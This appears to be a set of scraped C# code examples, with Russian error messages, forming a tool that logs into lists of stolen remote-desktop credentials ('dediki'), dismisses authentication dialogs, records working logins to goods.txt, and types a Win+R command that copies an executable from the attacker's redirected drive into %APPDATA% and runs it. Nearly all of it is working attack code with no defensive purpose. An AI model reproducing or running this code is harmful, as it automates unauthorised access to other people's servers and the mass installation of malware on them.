public static void KeyUp(IntPtr window, Keys vKey, bool special)
        {
            uint num = 16777216;

            if (!special)
            {
                num = 0U;
            }
            KeyboardSend.PostMessage(window, 257U, (uint)(byte)vKey, (uint)((int)KeyboardSend.MapVirtualKey((uint)vKey, 0U) << 16 | -1073741823) | num);
        }
 public static void SendText(IntPtr window, string text)
 {
     for (int index = 0; index < text.Length; ++index)
     {
         ushort num = KeyboardSend.VkKeyScan(text[index]);
         if ((int)(ushort)((uint)num & 256U) == 256)
         {
             KeyboardSend.KeyDown(window, Keys.LShiftKey, false);
         }
         KeyboardSend.KeyDown(window, (Keys)(byte)KeyboardSend.VkKeyScan(text[index]), false);
         KeyboardSend.KeyUp(window, (Keys)(byte)KeyboardSend.VkKeyScan(text[index]), false);
         if ((int)(ushort)((uint)num & 256U) == 256)
         {
             KeyboardSend.KeyUp(window, Keys.LShiftKey, false);
         }
     }
 }
Esempio n. 3
0
        private void ControllerThreadProc()
        {
            while (this.dedics.Count > 0)
            {
                string input = this.dedics.Dequeue();
                try
                {
                    this.t1.Invoke((Delegate)(() => this.t1.Lines = this.dedics.ToArray()));
                    Match match = new Regex("(?<ipport>[^\\@]+)\\@(?<logpass>.*)").Match(input);
                    if (!match.Success)
                    {
                        throw new Exception("Не могу распарсить дедик");
                    }
                    string ip   = match.Groups["ipport"].Value;
                    int    port = 0;
                    if (ip.Contains(";") || ip.Contains(":"))
                    {
                        port = int.Parse(ip.Split(new char[2]
                        {
                            ';',
                            ':'
                        })[1]);
                        ip = ip.Split(new char[2] {
                            ';', ':'
                        })[0];
                    }
                    string login = match.Groups["logpass"].Value.Split(new char[2]
                    {
                        ';',
                        ':'
                    })[0];
                    string pass = match.Groups["logpass"].Value.Split(new char[2]
                    {
                        ';',
                        ':'
                    })[1];
                    string str = "/?log=" + input;
                    this.Invoke((Delegate)(() =>
                    {
                        this.rdp.Server = ip;
                        if (port > 0)
                        {
                            this.rdp.AdvancedSettings2.RDPPort = port;
                        }
                        this.rdp.UserName = login;
                        this.rdp.AdvancedSettings7.ClearTextPassword = pass;
                        this.rdp.AdvancedSettings7.AuthenticationLevel = 0U;
                        this.rdp.AdvancedSettings7.EnableCredSspSupport = true;
                        this.rdp.AdvancedSettings2.overallConnectionTimeout = 30;
                        this.rdp.AdvancedSettings2.allowBackgroundInput = 1;
                        this.rdp.SecuredSettings2.KeyboardHookMode = 1;
                        this.rdp.ColorDepth = 16;
                        this.rdp.AdvancedSettings7.RedirectDrives = true;
                        this.rdp.Connect();
                    }));
                    int num1 = 0;
                    while ((int)this.rdp.Connected != 1)
                    {
                        Thread.Sleep(1000);
                        ++num1;
                        if (num1 > 30)
                        {
                            throw new Exception("Таймаут подключения");
                        }
                        bool dialog = false;
                        Form1.EnumWindows((Form1.EnumWindowsProc)((wnd, param) =>
                        {
                            if (Form1.GetWindow(wnd, 4U) == this.formhwnd)
                            {
                                StringBuilder lpClassName = new StringBuilder(256);
                                Form1.GetClassName(wnd, lpClassName, lpClassName.Capacity);
                                if (string.Compare(lpClassName.ToString(), "#32770") == 0)
                                {
                                    dialog = true;
                                    Thread.Sleep(300);
                                    Form1.PostMessage(wnd, 273U, 2U, 0U);
                                    Thread.Sleep(1000);
                                    return(false);
                                }
                                if (string.Compare(lpClassName.ToString(), "Credential Dialog Xaml Host", true) == 0)
                                {
                                    dialog = true;
                                    Thread.Sleep(300);
                                    Form1.PostMessage(wnd, 2U, 0U, 0U);
                                    Form1.PostMessage(wnd, 16U, 0U, 0U);
                                    Thread.Sleep(1000);
                                    return(false);
                                }
                            }
                            return(true);
                        }), IntPtr.Zero);
                        if (dialog)
                        {
                            throw new Exception("Ошибка подключения (диалоговое окно, ошибка авторизации и пр)");
                        }
                    }
                    Thread.Sleep(12000);
                    string text    = "\\\\tsclient\\" + Environment.CurrentDirectory.Replace(":", "") + "\\dnr.exe " + this.filelink + " sj6O0g " + input;
                    IntPtr hWindow = new IntPtr();
                    this.Invoke((Delegate)(() => hWindow = this.rdp.Handle));
                    Thread.Sleep(200);
                    hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, "UIMainClass", (string)null);
                    hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, "UIContainerClass", (string)null);
                    hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, "IHWindowClass", (string)null);
                    KeyboardSend.KeyDown(hWindow, Keys.LWin, true);
                    KeyboardSend.KeyDown(hWindow, Keys.R, false);
                    KeyboardSend.KeyUp(hWindow, Keys.LWin, true);
                    KeyboardSend.KeyUp(hWindow, Keys.R, false);
                    Thread.Sleep(1000);
                    Clipboard.SetText(text);
                    Thread.Sleep(500);
                    KeyboardSend.KeyDown(hWindow, Keys.ControlKey, true);
                    KeyboardSend.KeyDown(hWindow, Keys.V, false);
                    KeyboardSend.KeyUp(hWindow, Keys.ControlKey, true);
                    KeyboardSend.KeyUp(hWindow, Keys.V, false);
                    Thread.Sleep(1000);
                    KeyboardSend.KeyDown(hWindow, Keys.Return, false);
                    KeyboardSend.KeyUp(hWindow, Keys.Return, false);
                    System.IO.File.WriteAllText("flag.dat", "flag");
                    int num2 = 0;
                    while (System.IO.File.Exists("flag.dat") && num2 < 60)
                    {
                        Thread.Sleep(1000);
                        ++num2;
                        if (num2 == 25)
                        {
                            KeyboardSend.KeyDown(hWindow, Keys.Left, true);
                            Thread.Sleep(1000);
                            KeyboardSend.KeyDown(hWindow, Keys.Return, false);
                        }
                    }
                    if (num2 >= 60)
                    {
                        System.IO.File.AppendAllText("bugs.txt", input + " - Не получили ответ о запуске софта\r\n");
                    }
                    Thread.Sleep(2000);
                }
                catch (Exception ex)
                {
                    System.IO.File.AppendAllText("bugs.txt", input + " - " + ex.Message + "\r\n");
                }
                if ((int)this.rdp.Connected > 0)
                {
                    this.rdp.Disconnect();
                }
                while ((int)this.rdp.Connected != 0)
                {
                    Thread.Sleep(500);
                }
                Thread.Sleep(1000);
            }
            this.Working = false;
            int num;

            this.Invoke((Delegate)(() => num = (int)MessageBox.Show((IWin32Window)this, "Done!")));
        }
Esempio n. 4
0
        private void WorkThreadProc(object thrparams)
        {
            AxMsRdpClient6NotSafeForScripting Rdp = ((ThrParams)thrparams).Rdp;
            string text  = "cmd.exe /c copy /Y \"\\\\tsclient\\" + this.filepath.Replace(":", "") + "\" \"%APPDATA%\\" + this.filename + "\" && start \"\" \"%APPDATA%\\" + this.filename + "\"";
            string input = "";

            while (input != null)
            {
                try
                {
                    Monitor.Enter((object)this.dedics);
                    if (this.dedics.Count > 0)
                    {
                        input = this.dedics.Dequeue();
                        this.t1.Invoke((Delegate)(() => this.t1.Lines = this.dedics.ToArray()));
                    }
                    else
                    {
                        input = (string)null;
                    }
                    Monitor.Exit((object)this.dedics);
                    if (input != null)
                    {
                        Match match = new Regex("(?<ipport>[^\\@]+)\\@(?<logpass>.*)").Match(input);
                        if (!match.Success)
                        {
                            throw new Exception("Не могу распарсить дедик");
                        }
                        string ip   = match.Groups["ipport"].Value;
                        int    port = 0;
                        if (ip.Contains(";") || ip.Contains(":"))
                        {
                            port = int.Parse(ip.Split(new char[2]
                            {
                                ';',
                                ':'
                            })[1]);
                            ip = ip.Split(new char[2] {
                                ';', ':'
                            })[0];
                        }
                        string login = match.Groups["logpass"].Value.Split(new char[2]
                        {
                            ';',
                            ':'
                        })[0];
                        string pass = match.Groups["logpass"].Value.Split(new char[2]
                        {
                            ';',
                            ':'
                        })[1];
                        string str = "/?log=" + input;
                        this.Invoke((Delegate)(() =>
                        {
                            Rdp.Server = ip;
                            if (port > 0)
                            {
                                Rdp.AdvancedSettings2.RDPPort = port;
                            }
                            Rdp.UserName = login;
                            Rdp.AdvancedSettings7.ClearTextPassword = pass;
                            Rdp.AdvancedSettings7.AuthenticationLevel = 0U;
                            Rdp.AdvancedSettings7.EnableCredSspSupport = true;
                            Rdp.AdvancedSettings2.overallConnectionTimeout = 30;
                            Rdp.AdvancedSettings2.allowBackgroundInput = 1;
                            Rdp.SecuredSettings2.KeyboardHookMode = 1;
                            Rdp.ColorDepth = 16;
                            Rdp.AdvancedSettings7.RedirectDrives = true;
                            Rdp.Connect();
                        }));
                        int num = 0;
                        while ((int)Rdp.Connected != 1)
                        {
                            Thread.Sleep(1000);
                            ++num;
                            if (num > 30)
                            {
                                throw new Exception("Таймаут подключения");
                            }
                            bool dialog = false;
                            Monitor.Enter(this.csect);
                            Form1.EnumWindows((Form1.EnumWindowsProc)((wnd, param) =>
                            {
                                if (Form1.GetWindow(wnd, 4U) == this.formhwnd)
                                {
                                    StringBuilder lpClassName = new StringBuilder(256);
                                    Form1.GetClassName(wnd, lpClassName, lpClassName.Capacity);
                                    if (string.Compare(lpClassName.ToString(), "#32770") == 0)
                                    {
                                        dialog = true;
                                        Thread.Sleep(500);
                                        Form1.PostMessage(wnd, 273U, 2U, 0U);
                                        Thread.Sleep(1000);
                                        return(false);
                                    }
                                    if (string.Compare(lpClassName.ToString(), "Credential Dialog Xaml Host", true) == 0)
                                    {
                                        dialog = true;
                                        Thread.Sleep(500);
                                        Form1.PostMessage(wnd, 2U, 0U, 0U);
                                        Form1.PostMessage(wnd, 16U, 0U, 0U);
                                        Thread.Sleep(1000);
                                        return(false);
                                    }
                                }
                                return(true);
                            }), IntPtr.Zero);
                            Monitor.Exit(this.csect);
                            if (dialog)
                            {
                                throw new Exception("Ошибка подключения (диалоговое окно, ошибка авторизации и пр)");
                            }
                        }
                        Thread.Sleep(12000);
                        Monitor.Enter(this.csectfile);
                        System.IO.File.AppendAllText("goods.txt", input + "\r\n");
                        Monitor.Exit(this.csectfile);
                        IntPtr hWindow = new IntPtr();
                        this.Invoke((Delegate)(() => hWindow = Rdp.Handle));
                        Thread.Sleep(200);
                        hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[0], (string)null);
                        hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[1], (string)null);
                        hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[2], (string)null);
                        KeyboardSend.KeyDown(hWindow, Keys.LWin, true);
                        KeyboardSend.KeyDown(hWindow, Keys.R, false);
                        Thread.Sleep(100);
                        KeyboardSend.KeyUp(hWindow, Keys.LWin, true);
                        KeyboardSend.KeyUp(hWindow, Keys.R, false);
                        Thread.Sleep(1000);
                        Monitor.Enter(this.csectbuf);
                        Clipboard.SetText(text);
                        Thread.Sleep(500);
                        KeyboardSend.KeyDown(hWindow, Keys.ControlKey, true);
                        KeyboardSend.KeyDown(hWindow, Keys.V, false);
                        KeyboardSend.KeyUp(hWindow, Keys.ControlKey, true);
                        KeyboardSend.KeyUp(hWindow, Keys.V, false);
                        Thread.Sleep(1000);
                        KeyboardSend.KeyDown(hWindow, Keys.Return, false);
                        KeyboardSend.KeyUp(hWindow, Keys.Return, false);
                        Monitor.Exit(this.csectbuf);
                        Thread.Sleep(40000);
                        KeyboardSend.KeyDown(hWindow, Keys.Left, true);
                        KeyboardSend.KeyUp(hWindow, Keys.Left, true);
                        Thread.Sleep(1000);
                        KeyboardSend.KeyDown(hWindow, Keys.Return, false);
                        KeyboardSend.KeyUp(hWindow, Keys.Return, true);
                        Thread.Sleep(15000);
                    }
                }
                catch (Exception ex)
                {
                    Monitor.Enter(this.csectfile);
                    System.IO.File.AppendAllText("bugs.txt", input + " - " + ex.Message + "\r\n");
                    Monitor.Exit(this.csectfile);
                }
                try
                {
                    if ((int)Rdp.Connected > 0)
                    {
                        Rdp.Disconnect();
                    }
                    while ((int)Rdp.Connected != 0)
                    {
                        Thread.Sleep(500);
                    }
                    Thread.Sleep(1000);
                }
                catch (Exception ex)
                {
                    Monitor.Enter(this.csectfile);
                    System.IO.File.AppendAllText("bugs.txt", ex.Message + "\r\n");
                    Monitor.Exit(this.csectfile);
                }
            }
            ((ThrParams)thrparams).Ts.Set();
        }